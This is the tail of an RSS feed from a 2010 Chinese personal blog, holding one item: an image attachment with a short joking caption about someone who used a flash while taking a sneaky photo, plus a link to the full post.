			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	<div class="attach"><a href="http://www.xkww.com/attachment.php?id=18" target="_blank"><img src="http://www.xkww.com/attachments/date_201005/thumb_111718349bcb314a578799ca3df740cb.jpg" border="0" alt="1.jpg&#13;&#13;大小: 45.91 K&#13;尺寸:  x &#13;浏览: 52 次&#13;点击打开新窗口浏览全图" width="500" height="356" /></a></div></p>
<p>
	衣冠禽兽，偷拍都敢开闪光灯。&nbsp;</p>
<p>
	&nbsp;</p>
<p>
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ....................</p>
<p><a href="http://www.xkww.com/?action=show&amp;id=30" target="_blank">阅读全文</a></p>]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=30</link>
			<category domain="http://www.xkww.com/?cid=6">杂七杂八</category>
			<comments>http://www.xkww.com/?action=show&amp;id=30#comments</comments>
			<pubDate>Fri, 07 May 2010 17:35:53 +0000</pubDate>
		</item>
	</channel>
</rss>

